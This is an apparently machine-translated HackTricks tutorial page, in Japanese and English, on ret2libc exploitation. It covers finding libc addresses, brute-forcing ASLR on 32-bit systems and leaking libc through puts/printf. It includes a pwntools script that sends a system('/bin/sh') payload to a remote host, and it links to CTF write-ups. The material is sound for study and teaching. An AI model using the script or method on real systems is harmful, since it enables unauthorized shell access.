Ret2lib
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
基本情報
The essence of Ret2Libc is to redirect the execution flow of a vulnerable program to a function within a shared library (e.g., system, execve, strcpy) instead of executing attacker-supplied shellcode on the stack. The attacker crafts a payload that modifies the return address on the stack to point to the desired library function, while also arranging for any necessary arguments to be correctly set up according to the calling convention.
例:手順(簡略)
- 呼び出す関数(例: system)のアドレスと、実行するコマンド(例: /bin/sh)を取得する
- 第一引数にコマンド文字列のアドレスを渡し、実行フローを関数に向けるROP chainを生成する
アドレスの取得
- Supposing that the
libcused is the one from current machine you can find where it’ll be loaded in memory with:
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
ASLRがlibcのアドレスを変更しているか確認したい場合は、次のようにします:
for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
- 使用している libc が分かっていれば、次の方法で
system関数へのオフセットを見つけることも可能です:
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
- 使用されている libc を知っていれば、
/bin/sh文字列へのオフセットも次のように見つけることができます:
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
gdb-peda / GEF の使用
使用している libc が分かっている場合、Peda や GEF を使って system 関数、exit 関数、および文字列 /bin/sh のアドレスを取得することも可能です:
p system
p exit
find "/bin/sh"
/proc/<PID>/maps の使用
プロセスが(ネットワークサーバなどで)やり取りするたびに子プロセスを生成する場合は、そのファイルを読み取ってみてください(おそらく root が必要になります)。
ここで、プロセス内のlibc が正確にどこにロードされているか、および各子プロセスでどこにロードされる予定かを確認できます。
.png)
この場合、0xb75dc000 にロードされています(これは libc のベースアドレスになります)
不明な libc
実行ファイルがロードしている libc を知らない 可能性があります(サーバ上にありアクセスできないため)。その場合、脆弱性を悪用してアドレスを leak し、どの libc が使われているかを特定する ことができます:
そして、このための pwntools テンプレートは次で見つけられます:
2つのオフセットで libc を特定する
ページ https://libc.blukat.me/ を確認し、libc 内の関数の いくつかのアドレス を使って 使用されているバージョン を調べてください。
32 bits における ASLR の回避
これらのブルートフォース攻撃は 32bit systems の場合にのみ有効 です。
- If the exploit is local, you can try to brute-force the base address of libc (useful for 32bit systems):
for off in range(0xb7000000, 0xb8000000, 0x1000):
- リモートサーバーを攻撃する場合、burte-force
libc関数usleepのアドレス を試し、引数に 10(例)を渡すことができます。もしある時点で server が応答にさらに 10s かかれば、その関数のアドレスが見つかったことになります。
One Gadget
libc の特定の 1つ の アドレス にジャンプするだけでシェルを実行します:
x86 Ret2lib コード例
この例では ASLR brute-force がコードに組み込まれており、脆弱なバイナリは remote server に配置されています:
from pwn import *
c = remote('192.168.85.181',20002)
c.recvline()
for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()
x64 Ret2lib コード例
例を参照:
ARM64 Ret2lib 例
ARM64の場合、ret命令はスタックレジスタが指す場所ではなく x30 レジスタが指す場所にジャンプします。したがって少し複雑です。
またARM64では、命令は命令が行う通りに動作します(命令の途中にジャンプしてそれらを別の命令として扱うことはできません)。
例を参照:
Ret-into-printf (or puts)
これは、特定のデータを引数として printf/puts を呼び出すことでプロセスから情報を leak することを可能にします。たとえば、GOT にある puts のアドレスを puts の実行に渡すと、メモリ上の puts のアドレスを leak します。
Ret2printf
これは基本的に、ret2lib を使って printf を呼び出し、その値で悪用することで Ret2lib を printf のフォーマット文字列脆弱性に変換する ことを意味します(無駄に思えるが可能です):
その他の例と参照
- https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html
- Ret2lib:libc の関数アドレスを leak した場合に one gadget を使用する例
- https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html
- 64 bit、ASLR 有効だが PIE 無し。最初のステップはオーバーフローを埋め、canary の 0x00 バイトまで到達してから puts を呼んでそれを leak することです。canary を得た後、GOT から puts のアドレスを leak するために puts を呼ぶ ROP ガジェットを作成し、その後
system('/bin/sh')を呼ぶ ROP ガジェットを作成します。 - https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html
- 64 bits、ASLR 有効、canary 無し、子関数から main でのスタックオーバーフロー。GOT から puts のアドレスを leak するために puts を呼ぶ ROP ガジェットを作り、その後 one gadget を呼び出す。
- https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html
- 64 bits、PIE 無し、canary 無し、relro 無し、nx。write 関数を使用して write (libc) のアドレスを leak し、one gadget を呼びます。
- https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html
- format string を使ってスタックから canary を leak し、バッファオーバーフローで GOT にある system を
/bin/shのアドレスで呼ぶ。 - https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html
- 32 bit、relro 無し、canary 無し、nx、pie。有効。悪いインデックス処理を悪用してスタックから libc と heap のアドレスを leak します。バッファオーバーフローを悪用して
system('/bin/sh')を呼ぶ ret2lib を行います(チェックを回避するために heap アドレスが必要)。
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。


